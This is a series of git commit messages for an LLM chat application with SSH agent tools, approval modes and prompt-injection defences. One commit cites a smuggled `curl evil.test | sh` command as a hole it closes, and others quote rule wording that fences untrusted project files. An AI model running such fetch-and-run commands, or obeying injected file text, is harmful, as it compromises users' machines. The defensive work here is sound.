command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Jaroslav Beneš
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Wake the model when a background job finishes
The other half of background execution: a job that finishes while nobody is looking prompts the model back with its result, rather than sitting unread until the model happens to run again. The vehicle is the queue, because it is the only wiring that already delivers a turn into or after a reply. A per-job poller notices completion and calls jobs.wake. If a reply is being written the completion is left queued for that reply's _inject/_drain; if the chat is idle a fresh reply is started to answer it -- the send_queued_now move. All of it under a per-chat lock with no await between the running-check and ensure, so two jobs finishing at once cannot each spin up a generation: the second sees the first's reply already live and leaves its completion for it. That is the invariant the queue exists to hold, reached from outside a request for the first time. The completion is a user-role turn whose content names itself a machine event -- "A background job you started has finished" -- not a bare person turn. _inject sends a queued turn verbatim, so the framing cannot live there; it lives in the words, the way execute_plan quotes the plan, and a tool.background fragment tells the model these arrive and are a machine event rather than the person speaking. The poller reconnects a fresh connection each tick rather than holding one open -- holding one is the exact live-connection state the whole ssh.py/base.py design forbids, and poll is self-healing besides. Bounded by background_max_jobs and a six-hour ceiling, after which the remote job may keep running but we stop watching it. A Job table, and here the terminal/generation "lost on restart" precedent does NOT transfer: those are seconds long with a human watching, a background job is hours long with nobody watching -- the one case a restart forgetting it would silently break the feature's whole promise. So the row lets a lifespan startup hook rehydrate the watcher and wake as if nothing happened. Cancelling a watcher never stops the detached remote job; it runs on and is picked back up. Tested end to end against a real local shell: launch a detached command, poll it to completion through a watcher, and assert the model was woken with the exit code and output -- plus the lock proving two simultaneous completions start one reply, not two. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Let a command run in the background instead of being killed
An agent command is one blocking conn.run over a per-call connection, killed the
moment it hits its timeout -- so a ten-minute apt install is impossible, which is
exactly what a user hit. This is the substrate for running it detached instead:
the model can ask for background=true, or a command that outlasts its timeout is
kept running rather than killed, and either way the model gets tools to read and
stop it. Opt-in, off by default, under Admin -> Agents; off is byte-for-byte the
old behaviour.
The mechanism has to survive the connection closing (that is the whole premise
of the per-call model), so a job is a setsid-detached process on the far side,
redirected to a remote logfile and an exit-file; LLeMbas reconnects, as always,
to read it later. services/agent/jobs.py holds the wrappers.
Three things in those wrappers are load-bearing and each was got wrong in the
first sketch:
- The command never touches a quoted shell context. sh -c '<cmd>' shatters the
instant the command contains a quote -- git commit -m 'fix', awk '{…}', sed
's/…/…/' are the common case, and it is an injection hole besides. So the
command is base64-encoded in Python and decoded on the far side into a script
file; it is bytes, never shell syntax.
- The child records its own pid via $$ as its first act, under setsid where it
is the session leader, so job_stop can kill the whole process group. echo $!
from the launcher captures the wrong pid.
- The command's exit status comes from the exit-file, never the wrapper's own
status -- which is ~0 from its trailing rm. Reading the wrapper's status would
mark every job a success.
A command that finishes in time is indistinguishable from a foreground one --
same output, same wording; the difference shows only when it does not, where
instead of "stopped after Ns" it becomes a job id. Auto-convert is its own
sub-switch: with it off, a timeout stays a hard stop and nothing is left
running, because routing the plain case through the detached wrapper would leave
an orphan running past a stop an administrator asked for.
New agent tools job_output/job_list/job_stop, offered only when the feature is
on (the plan_submit gating pattern); job_stop is RISK_EXECUTE since it kills a
process. A job's files are namespaced by the calling chat's id and the wrappers
are always built from it, so a model in one chat cannot even name another's job.
Tested against a real local /bin/sh rather than the fake echo-the-command sshd
fixture, because the shell logic -- setsid, base64, the wait loop, the child
surviving the wait being cut off -- is the whole of the risk. The auto-wake that
prompts the model back when a job finishes is the next commit.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Jaroslav Beneš
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A ceiling for a chat, and a nudge for an agent that stops early
MAX_ROUNDS = 1 was wrong, and wrong in a way worth writing down. The loop already ends the moment a round comes back with no tool calls -- that is the model saying it has what it needs, and it is the termination condition every agentic harness uses. A round limit was never a schedule; it exists to catch the case where the model never says so. One is low enough to stop being a ceiling and start being a schedule: it overrode the model's judgement on every single turn. And it broke something concrete. Several built-ins are two-step pairs -- knowledge_get and notes_get read a document "by the id a search returned" -- so one round left the library searchable and not readable. That is not an edge case, it is the library working at half depth, and I understated it as "cannot search the web and then read a result" when the change went in. It is a setting now, under General, default 5, with 0 meaning no ceiling. The loop and the harness both read settings_store.chat_rounds, so the model is never told a budget that is not its own; tools.MAX_ROUNDS is the fallback for callers with no session and a test pins the two equal. core.rounds goes back to naming the number, and vanishes entirely when there is no ceiling rather than promising zero rounds. The other half of "let it decide how long to go": an agent reply that ends while its plan still has open tasks is asked once to carry on. Only against a plan, because that is the one thing there is to be objectively wrong about -- a model with no plan that says it has finished is believed, and arguing with it would be guessing. At most twice in a row, with the count reset the moment it calls a tool again, so the bound is on consecutive stops rather than on stops in total. Never in Plan mode and never past plan_submit, which ends the turn on purpose. Giving up is recorded as an event rather than left silent. The model's own words go back with the nudge, which turned up a real bug on the way: ReasoningSplitter holds back a few characters against a <think> tag split across chunks, so round_text at the end of a round was missing its tail. That text is echoed as an assistant turn for tool rounds too, so a model has been occasionally asked to continue from a transcript where it trailed off mid-sentence. Flushed per round now. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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816f2ae957 |
A menu for what a chat may use, and three keys
Six smaller things, all of them about the interface not saying what is true.
The @ button only ever inserted the character, which the @ key already does
without a button. It becomes the scope menu: what this chat may use, switched
off per chat. Chat.scope_json is filtered inside resolve_tools AFTER the
capability, permission and instance gates -- exactly as chat.knowledge_bases
narrows knowledge_search -- so a crafted POST turning something on reaches a
tool the gates already removed, and there is a test that writes the column
directly to prove it. Absent means on, for every key, so "why is this off?" has
one answer. It is keyed on the gate rather than the tool name, so notes is one
switch rather than five. The switches carry no role="menuitem", deliberately:
ui.js closes a picker when a menuitem is clicked, which is right for an action
menu and wrong for a list you want to set several of -- which is why the menu
needs no JavaScript at all. Typing @ is untouched.
With no skills, nothing should mention them. tool.skills was gated on the family
alone, so somebody with an empty library was told "the list below gives each
one's name" above no list, handed skill_get, and watched the model spend a round
finding out. It requires skills now; the writing half moved to
tool.skills_write, which is deliberately not gated, because saving the first one
is what somebody with none most needs. And core.tool_list finally reads
tool_names, which had been resolved and documented with no fragment using it.
The composer's toolbar is one row again. .composer__actions is last in the DOM
with margin-left:auto, so the moment an agent chat added a connection, a
directory and a mode, Send and the microphone dropped to a second line.
chat.css has no media queries by design and the fix is not to add one:
.composer__context is the single child allowed to shrink and scroll sideways.
There is a test asserting the file still contains no @media.
The effort picker shows the level in force. "Effort: default" named no level and
was true of nothing in particular; chat.resolved_effort is the chat's own value
and build_request reads the same field, so what is shown is what is sent. The
model's default is a seed, copied onto the row at creation and on a model
change, and never consulted at request time -- a fallback would resurrect it
underneath a cleared effort and make "off" silently do nothing. "off" is a
sentinel and not an empty value, because start_chat declares Form("") and cannot
tell absent from empty: with value="" the reader picks off and gets high.
Alt+M dictates, Alt+R reads the last reply aloud, Ctrl+Enter sends from
anywhere. All three click the button that already does the job, so audio.js
keeps its one delegated listener. Alt+M and not Alt+D, which is the address bar
in Chrome and Firefox. Ctrl+Enter never means Stop -- Send and Stop are the same
element, and Esc already stops. Driven under a DOM stub before committing, per
the rule in CLAUDE.md, and tests/test_commands_js.py pins that every key has a
row in SHORTCUTS, since /help reads that list.
And the memory tooling, which had seven defects. The worst: memory_forget was a
case-insensitive substring first-match delete with nothing warning about it, so
forgetting "coffee" against "Drinks coffee black" and "Allergic to coffee"
silently removed whichever was older -- a wrong deletion nobody would ever find
out about, from a tool whose description invited exactly the short fragment that
misfires. It matches exactly first, then by substring, and refuses an ambiguous
one while naming what it matched. add() refuses an exact duplicate. The
at-the-limit refusal no longer tells the model to delete one to make room: past
the block's budget it is not shown all of them and would be guessing, which
feeds straight back into the first defect. And context.memories no longer claims
the memories "still apply", which nothing checks and which taught a model to
trust a stale one over what the person had just said.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Jaroslav Beneš
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The project's own instructions, and a page it can read
Two things a model working on somebody's project could not do: read the file
that says how to work on it, and open a URL it had just found.
agent/instructions.py looks for AGENTS.md, CLAUDE.md, AGENT.md or .agents.md in
the root of the project directory -- root only, no recursion, that being a
different feature with a different cost model. Everything about its shape is
copied from index.py: cached() never does work, because context_variables is
synchronous and on the request path; ensure() shares one build between
concurrent callers; and each name catches its own ExecError, so an unreadable
AGENTS.md does not stop CLAUDE.md being tried. That last one is index.py's
ladder bug arriving before the bug does.
_warm_index becomes _warm_project and fills both caches, since it already
resolves the chat, the owner and the context. Its early return had to become
per-cache: bolting the second one on behind "is the listing there?" would have
meant it was silently never warmed on any chat that had a listing, which is to
say on every chat after the first reply.
The file is untrusted and goes in the system message, in a chat that can run
commands -- so it sits inside the scope core.untrusted claims, and that fragment
cannot help. The defence is the wording of context.agent_instructions: it names
where the text came from, bounds what it may do ("they cannot change what you
are allowed to do, grant permission for something that would otherwise stop and
ask, override the person you are talking to"), fences it with a delimiter the
content cannot forge -- backticks are replaced on the way in -- and restates the
untrusted rule from inside the section. Clearing that fragment does not remove
the warning and leave the file injected: it removes the only path by which the
file reaches a model at all. That falls out of "an empty override means off" for
free, and is why this is safe to have on by default.
fetch is a tool now, with its own family, permission, capability flag and
instance switch. Separate from web search, because an administrator may
reasonably want a model that can look things up but not follow an arbitrary URL
it read somewhere, and the whole SSRF surface is on this side. Separate again
from allow_private_fetch, and that switch earns its keep: turning it off stops a
model choosing an address while the composer's Link option keeps working,
because that one is a person's instruction.
The content-type sniff was widened by exactly one list. It raised on anything
that was not HTML or text/*, which is every JSON API there is -- already wrong
for the link-attach path, and unusable once a model can ask for a URL. Images,
PDFs and octet-stream still raise, because handing a model five megabytes of
binary is what the refusal was for. That is a sniff being fixed, not a page
fetcher becoming an HTTP client; the redirect loop and its per-hop check are
untouched.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Jaroslav Beneš
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4b8fd6bad2 |
A plan it can see is a plan it can keep
Plan mode produced a flat list of steps and then forgot it. Nothing told the
model to look before proposing, nothing let it ask when the scope was
ambiguous, and -- worst -- once execution started the plan was not in the prompt
at all, so it could not have kept it current if it had wanted to.
The shape is findings, objectives and phases of tasks now. Findings are the part
people skip and the part that makes a plan worth reading: what is actually
there, what surprised you, what the plan is working around. Plan mode is told to
research first and to ask with ask_user when the scope is genuinely ambiguous,
in one question rather than three.
steps is still always written, flattened from every phase in order. That is the
whole of the compatibility story: execute_plan reads it and needed no change,
and every row already on disk still works. services/plans.py:normalise is the
only place that knows version 1 existed -- a {title, steps} row comes back as
one phase, so the card, the harness and the Execute button have one shape to
deal with rather than two.
Chat.plan_message_id is what puts the plan in front of the model each turn, with
one primary-key lookup rather than a scan for "the newest message carrying a
plan" -- context_variables is synchronous and sits on the request path.
plan_update is offered only once there is a plan, because a tool for changing
something that does not exist costs a round to find out.
It is RISK_READ, and that sits in tension with notes_edit being RISK_WRITE, so:
risk is what a tool does to the world, and the world the four modes govern is
the machine. This cannot touch it. RISK_WRITE would put an approval card on
screen every time a task was ticked off -- four cards to carry out a four-task
plan, each approving a bookkeeping entry -- which is exactly the interruption
batching exists to prevent. A note is a durable artefact of the reader's that
outlives the chat; this is the chat's own record of what it is doing, nearer to
generation.status. An administrator who disagrees puts it in deny_default.
One thing that nearly went wrong quietly. A runner cannot write the message row,
since _persist is the single writer -- so plan_update returns the merged plan on
its event and the loop carries it. Both calls in a round would then have read
the same stale plan from the database and the second would have won. They merge
into AgentContext.plan instead, the snapshot seeded once when the context is
resolved. Both tools write event["plan"] so _persist stays one writer with one
rule; only plan_submit sets plan_final, which is what withdraws the tools.
The card does not re-render in place. The newest bubble carries the current plan
and older ones carry the plan as it was then -- that is what a transcript is
for, it needs no streaming machinery, and it makes "what did it think at step
three" answerable.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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One round for a chat, as many as it takes for an agent
Two different jobs were sharing one number. A plain conversation asking a question is one round of looking things up and then an answer; the rounds after that were a small model that had decided searching was the answer searching until the context ran out, at a full request each. MAX_ROUNDS is 1 now. Several tools can still be called within that round, which is the thing worth telling the model. The trade is real and worth naming: a plain chat can no longer search and then read one of the results, because reading is a second round. That is what an agent chat is for. An agent chat is sized by Limits instead, where steps is now a runaway backstop and not a working budget. It was 40 and it was reached -- a step count low enough to be the thing that ends a reply is a count that ends it halfway. What bounds one now is the wall clock and a new completion-token ceiling, with zero meaning no ceiling, the same convention index_chars already uses. That ceiling would have been decorative. generation.completion_tokens is only populated when the endpoint sends a usage block, and llama.cpp, Ollama and friends never do; the fallback estimate is computed once, in _run's finally, long after the loop that needs it. So _written takes the larger of reported and estimated, and there is a test that runs the whole thing against a stream reporting no usage at all. A limit that works on OpenAI and silently does nothing everywhere else is the worst kind: one that looks configured. core.rounds could not stay one fragment. "You get at most N rounds" is not the same sentence with a different number in it -- a model told it has a budget rations it and stops early to report progress, which is exactly the behaviour that strands a long piece of work. So it splits: core.rounds keeps the one-round case and gates on a new round_budget variable that _agent_values blanks, and core.keep_working says the other thing to an agent chat. A queued message during a one-round reply is now never taken mid-reply -- there is no work under way to steer -- and falls through to _drain, which gives it a reply of its own. No code change went with that; it falls out of the guard, and there is a test so that "it happens to work" and "it is meant to work" stop looking the same. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Change part of a file without rewriting it
file_write replaces a file entirely, so a model wanting to change one line either rewrote the whole thing from memory -- silently dropping everything it did not happen to recall -- or shelled out to sed. file_edit takes a unified diff instead, and services/agent/patch.py applies it. Four behaviours carry that module, and each exists because of how models actually write patches rather than how the format is specified. Fuzzy offset, exact content. A hunk header is a hint: models count from a truncated read or from the file as it was three edits ago and get the numbers wrong, and get the context lines right. So the hinted position is tried, then the file is scanned outward for an exact match of the context block. One match wins; more than one refuses, because guessing between two identical blocks is the one failure that silently corrupts a file. Line endings are normalised in and restored out, or every hunk on a CRLF file fails on context that looks identical in the error message. A blank context line that lost its leading space is read as blank, because trailing whitespace is stripped by half the things a model's output passes through. And nothing is written unless every hunk applies: a half-applied file is worse than a refused one, and the model cannot tell the difference without reading it again. It refuses a file this reply has not read, in those words. A patch written from memory either fails on context -- the good case -- or matches something it did not mean. AgentContext.read_paths records what was read; it lives there because runners never see a Generation and a read path is a fact about the machine, and it is shared with the approved copy because as_approved is dataclasses.replace, which copies field references. It resets each reply, and that is right rather than a limitation: tool_calls_json is never replayed, so on the next turn the model does not have the contents either. Writes and edits both render a git-style diff in the transcript now, escaped like everything else there and bounded at write time -- a generated file's diff can be larger than the file, and it sits on the row forever. That costs file_write one extra SFTP round trip to read the old contents, on the hottest agent operation, and it is a conscious trade: it is the difference between seeing what an agent did and having to go and look. It earns its keep twice, because that read also counts as having read the file. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Say what a tool did, not where it ran
An agent event set its label to the SSH profile's name, so the transcript read "homeserver · ls -la" -- naming the machine rather than the thing that was done. Built-in tools set no label at all and fell back to the function name, so a saved memory read "memory_add". The status line said "Running shell_run…" and the approval card had its own hand-written wording. Four places, four answers, nothing checking that any of them agreed. services/tool_labels.py is the one table all of them read now. Bash, Read, Write, List, Web search, Memory saved; an icon each, instead of everything being the sparkle. The precedence is inverted on purpose. Tool events are persisted in Message.tool_calls_json, so every agent row already on disk carries the profile name -- a resolver that preferred the stored value would fix nothing for any transcript that already exists. So a name the table knows resolves from the table, and a name it does not -- a custom HTTP tool, an MCP tool, whose labels are per row and cannot be tabulated -- keeps its own. One rule, both cases correct. The machine moves to `detail`, where "where this ran" belongs. tool_label and tool_icon are Jinja globals because a message bubble is rendered from four handlers, and a fifth thing each of them must remember to pass is a fifth thing one of them will forget. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Two selects that never wrote anything, and a queue
The approval card in Auto mode and the missing /effort were one bug. Both
selects hung their hx-patch on an empty sibling form reached by form="…",
and htmx binds a trigger to the annotated element: change fires on the
select and bubbles to its ancestors, which a sibling is not. The live rows
read agent_mode=manual and params_json={} while the browser showed Auto and
Effort: high. policy.py was never involved.
The verb moves onto the control; the empty form stays as value scoping,
which is the half of the CLAUDE.md note that was right. conftest gains
control_named so a test asserts the element carrying the name carries the
verb, rather than asserting the markup that was there throughout.
The composer's highlight was a third instance of the same carelessness in
CSS: .tok-mention is written for the transcript and scoped to nothing, so
the mirror painted its token in accent-coloured monospace over the
textarea's own text. Scoped under .msg; the mirror restates transparency
and font rather than inheriting them, and bleeds by box-shadow.
/effort is now offered before the first prompt and _new_chat reads it.
/index re-walks the project directory on demand, file_write drops the
listing it just invalidated, and the index ladder falls through to SFTP on
a host that refuses exec instead of returning nothing.
A second message during a reply is queued rather than starting a second
concurrent generation: a real Message row with queued set, so it survives a
restart and can be withdrawn. _drain hands one on at the end of a reply,
_inject takes one in at a tool-round boundary so an agent can be steered
mid-task. Stop leaves the queue undelivered. The terminal's Auto toggle
becomes off/copy/send, and send posts straight to the chat without touching
the composer.
@ now offers notes, skills, this chat's attachments and a URL to fetch; a
knowledge base attaches as a reference rather than a copy. copy_document
carries provenance, which was the one attach path that dropped it.
Also fixes an unrelated live bug: the round loop compared against the
global MAX_ROUNDS of 3 while sizing itself from the agent budget of 40, so
agent replies stopped after three rounds and reported forty.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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The menu that never appeared, and the reason it never did
composer.js built its menu lazily inside show(), and refresh() wrote list.innerHTML before calling it. `list` is null until build() has run, so the first `/` or `@` ever typed threw a TypeError and took the handler with it. The menu has never appeared in any browser. That is why /compact "isn't there": nothing was. I shipped it having only run `node --check`, which parses the file happily. So this also brings the thing that catches it: a DOM stub driven under node -- not committed, hard rule 1 stands, it is an instrument like curl. It reproduced the crash in one run and immediately found two more: choosing a command from the menu left `/help` sitting in the box so the next Enter ran it again, and Tab completed nothing. Tab now completes and Enter runs, which is the split that matters for a command taking an argument. `.select--sm` was used three times and defined nowhere. I deleted the copy in chat.css and left a comment saying it "is defined once, in app.css", where it did not exist -- so those selects fell back to plain `.select`: width 100% in a flex row where four siblings wanted the same, all of them shrinking together until each was a few characters wide, and half a rem taller than everything beside them. That was the whole of "the connection switch needs to be wider". The connection and directory move to the topbar. They cannot change -- update_chat refuses both with a 409 -- so they are facts about the chat, of a kind with the Temporary badge, not controls on the message. The mode stays by the box. Compaction says it is working. It makes a model call that takes seconds and had no indicator anywhere: `hx-indicator` appears nowhere in this codebase, and the Generation.status channel that says "Summarising earlier messages…" for the automatic path cannot be borrowed, because it lives in the streaming bubble and this endpoint refuses to run while any message is unfinished. The overflow menu now runs the same code as /compact rather than posting for itself, so there is one implementation, one spinner, and one place the endpoint's four carefully written 409s finally reach somebody. /effort, low medium high, per chat with a per-model default. It goes out twice because there is no field that works everywhere: OpenAI and vLLM read reasoning_effort, llama.cpp's own docs say other values "have no effect" and its maintainer says the field "simply gets dropped without error or logging" -- what reaches gpt-oss behind it is chat_template_kwargs. Both are sent, and only once an effort has been chosen, so a provider strict about unknown parameters sees exactly the request it always did until somebody opts in. The control appears only on a model marked `reasoning`, a flag that has existed since the beginning with no reader at all. Mentions and recognised commands are marked as you type -- a mirror behind the textarea holding the same text with every character transparent, contributing nothing but a rounded rectangle, so a pixel of drift is a misplaced rectangle rather than a doubled glyph. A command is marked only when it resolves, so `/thoughts on this` visibly is not one before you send it. And again in the transcript, where user turns had no render step at all and now escape before they inject. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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The terminal learns where one command ends, and can be dragged wider
"The last command and its output" was not something the panel could honestly offer. sendToChat took the last forty rows of the screen buffer, hard-wrapped at the terminal's width with no way to tell a wrap from a newline -- its own comment said so. So bash and zsh are given the OSC 133 markers VS Code and WezTerm use, and Copy, Send and an Auto toggle are built on those. The integration is written by the PTY command string itself, with printf. sshd runs that string through $SHELL -c, so it can case on the shell's own name and needs no probe, no second channel and no writable home. Passing it through the environment does not work -- every distribution ships AcceptEnv LANG LC_*, so anything else is dropped silently -- and feeding `source ...` in as keystrokes races a slow .zshrc, echoes into the scrollback and lands in shell history. Nothing needs hiding, which is the point of choosing it: the setup runs before the shell exists and never writes to the PTY's input side, so there is nothing to echo and no fan-out gate to build. Two things were wrong in the first version and both were found by running it against real shells rather than the fake one. bash: the DEBUG trap fires before every simple command *including each one inside PROMPT_COMMAND*, so $? read from there is whatever ran a moment ago -- every command reported success. The status is captured in the trap now, which also removes the two-entry PROMPT_COMMAND dance entirely. zsh: $ZDOTDIR is already ours by the time .zshenv runs, so the shims were sourcing themselves and none of the user's configuration loaded; the original is passed on the exec line. Parsing is server-side. The `behind` path resets the terminal and replays a truncated scrollback, so a client parser routinely sees a finish with no start; two tabs share one shell and can disagree; and what comes out of this ends up inside a prompt, so deriving it here leaves nothing to disbelieve. The bytes are fanned out unchanged -- xterm consumes an OSC it has no handler for. Output is bounded head and tail, 48KB and 16KB: a build that fails ten megabytes in has the invocation at the top and the error at the bottom. Carriage returns collapse to the last state of each line, which is the difference between a usable prompt and two megabytes of spinner. The fence is sized to its content, because output containing three backticks would otherwise break out and read as prose. Any shell that is not bash or zsh starts exactly as it did before. The buttons then scrape the screen and say so, and Auto is disabled rather than degraded: forty arbitrary lines on every message is worse than nothing. Also a generic [data-resize] handle, keyboard included, persisted the way the theme is. The inspector and sidebar can have it whenever they want it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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A directory the model knows about, and @ to name a file in it
An agent chat used to open with the model knowing the name of a machine and nothing about what was on it, so the first two rounds of every reply went on finding out. It now gets a listing: one read-only command, `git ls-files` where that works and `find` otherwise, falling back to an SFTP walk that always does. git first because a repository already carries somebody's considered list of what is not part of the project, and reproducing it by hand is how an index ends up mostly build output. The listing is budgeted rather than dumped. A tree of a thousand files is worse than no tree -- it costs the window on every request forever and buries the four names that mattered -- so directories that will not fit are shown as a count and the model is told to open one itself. Collapsing picks the deepest and largest first: by saving alone it would take `src/` before `src/web/static/vendor/`, because it contains it, and lose every name worth having. Read from a cache and never fetched. `harness.context_variables` is synchronous and sits on the request path; the walk happens in the generation setup, which is async and already doing network work, with a short wait. A chat whose first reply outruns its first walk simply has no listing that turn and the fragment disappears rather than appearing as an empty heading. Then `@`, over the same index and over the library, and `/` for commands with an Alt-based keyboard for the same jobs. A mentioned file arrives as contents, not a reference -- a small model asked to call file_read often does not bother -- and it arrives with its absolute path and the machine it came from, because a model handed `main.py` cannot tell which of four it is and cannot name it back when asked to change something. The rule that matters for `/`: a message that merely starts with a slash still sends. `//` escapes and an unrecognised command is posted as written. Swallowing somebody's message is a much worse failure than an unknown command. Two exceptions to Manual mode now, not one. Browsing and indexing are a person acting, not a model, so neither passes through policy.py -- the same argument the terminal panel rests on. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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The composer decides what a chat is, and the topbar stops trying
The mode select in the topbar posted with hx-post against a route that only answers PATCH, so every change returned 405 and the mode never moved. htmx shows nothing when a request fails, so the control looked like it worked: the select stayed where you put it and the server ignored you. It has never worked. Two more of the same kind. A mode could not be chosen at all until the chat existed, so reaching Plan meant sending something in Manual first and letting the model answer under the wrong rules. And the project directory box was real and submitted, but unlabelled and squeezed to a few characters by the select beside it, so it read as broken -- which is how it was reported. So the kind, the connection, the directory and the mode move out of the strip above the text and into one toolbar row beneath it, where attach and send already are. The directory becomes a button that opens a browser over SFTP, because a path is something you would rather find than spell. `scan_dir` is new beside `list_dir`: a picker has to tell a directory from a file before it can draw the row, and `list_dir` backs a tool whose contract is a list of names and must not change under a model mid-conversation. Browsing is a person clicking, not a model calling, so it does not pass through policy.py -- the same argument the terminal panel rests on. It does mean Manual mode has a second exception now. Also: .chip was two components with one name, and the attachment card won, so the Chat/Agent pills silently wore its padding. --radius-md was used twice and declared nowhere, so both fell back to 0. .btn.is-active has been set by syncToggles since the terminal landed and styled by nothing. Enter-to-send ignored isComposing, so committing an IME candidate sent the message. The terminal had five colours of a sixteen-colour palette, with fallbacks from a palette that no longer exists. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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A terminal panel beside an agent chat
A real shell on the chat's own connection, opened and closed like the inspector and never beside it. The modes govern the model; what a person types is theirs, since they hold the credential and could open the same shell with an ssh client. The model cannot see the panel -- a button copies the output you choose into the composer. The session outlives the socket: closing the panel leaves a build running, and coming back reattaches with the scrollback. Two tabs share one shell and the smaller window decides the size. It ends on an idle timeout, on deleting the chat, on disabling, moving or deleting the connection, and on a restart -- which says why rather than quietly opening a fresh shell that has lost the working directory. The nginx template's `Connection ""` is right for SSE and fails every WebSocket handshake, so `location /` now uses a `map $http_upgrade`; update.sh grows a drift check for it, because the only symptom on a stale vhost is a panel that cannot connect. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Plan mode proposes, and you decide whether to carry it out
`plan_submit` records an ordered set of steps and ends the turn. Offered in Plan mode and nowhere else: it stops the reply, and a model in Auto mode proposing a plan instead of doing the work would be obeying the wrong instinct at the worst moment. The plan is stored on the message rather than parsed back out of the prose, so the button sends exactly what was proposed. It gets one more request to say what it proposed and why -- a bubble containing only a card reads as though the model had nothing to add -- but with the tools withdrawn, so "one more round" cannot become three rounds of it changing its mind about a plan somebody is being asked to approve. Carrying it out switches to Edit, never Auto. The plan was written under a mode where every command stopped for approval, and a button that also removed the asking is not the button anybody pressed. It goes back quoted and attributed, not stated: a plan whose text came out of a file the model read must not arrive in the most trusted role in the transcript wearing the reader's authority. Also closes the rewind gap. Editing or regenerating a turn rewinds the transcript and not the machine, so `rewound_at` is stamped and the harness says so. Nothing tries to undo anything out there -- the project directory is somebody's real working tree, and deleting their work to match a rewound transcript would be far worse than the inconsistency. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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a064407fa7 |
Agent chats run commands, and stop to ask first
The four tools an agent chat has -- shell_run, file_read, file_write, file_list -- and the mode table wired into the loop that decides which of them stop for approval. Verified end to end against a real Kali container over SSH: the card shows the command, allowing it runs it there, and the file it writes is visible from outside. The mode is enforced in `_authorise`, in the generation loop, server-side, keyed on each tool's declared risk. Not in the prompt: a model is told which mode it is in so it behaves sensibly, but everything it reads -- a web page, a README, the output of the last command -- is untrusted, and a rule written only into a system message is one a poisoned file can argue with. Within an agent chat every call goes through the table, including the built-in ones, because notes_edit writes and Plan mode meaning "look but do not touch" has to mean that too. Two things this turned up. The runners re-check the mode as a backstop, and that backstop refused the very thing a person had just approved -- the mode says "ask", and asking was exactly what happened. Approval is now threaded per call, on a copy of the context, because a round runs its calls together and only some of them were allowed. And the harness said nothing at all, because `registry` maps an offered tool *name* back to a family and did not know the agent tools existed. So shell_run resolved to no family and the fragment naming the machine, the directory and the mode was never admitted. The same omission cost custom tools their guidance once already; there is a test for it now. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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4ced049ff8 |
SSH connections, kept by the people who own them
An agent chat will act on a machine you choose, so this is the screen where you choose it. User-owned like a note, not admin-owned like a connection: these are somebody's own machines and somebody's own keys, and "anyone in this group may log in to my server" is a different feature with a different blast radius. services/sharing.py is deliberately not involved either -- sharing grants reading, and a host somebody else can read is a host they can log in to. Trust on first use, made explicit rather than assumed. Adding a host does not connect to it. Check looks at its key and shows you the fingerprint; nothing is sent until you accept, because get_server_host_key completes the key exchange and stops -- no username, no credential. Accepting pins it, and a host that later presents a different key is refused with the reason rather than quietly trusted. Moving a profile to another host or port forgets the pin, since a key belongs to the machine it came from. Four asyncssh defaults are actively wrong here and all four are passed explicitly: every LLeMbas user shares one unix account, so `known_hosts` would be a shared trust store, `client_keys` would authenticate one person with another's key, `config` would let a ProxyCommand redirect the connection, and `agent_path` would silently use $SSH_AUTH_SOCK. There is a test for exactly that, and it needs no server. Files go over SFTP rather than through a shell. The SSH exec protocol carries one command *string* that the far side parses, with no argv form at all, so a model-supplied path in a command line is unavoidably a quoting problem. Over SFTP a path is a path. Chat gains its kind, connection, project directory and mode; the first three are fixed once a chat has a message, because a transcript whose earlier turns ran somewhere else is not one conversation. Co-Authored-By: Claude Opus 5 (1M context) 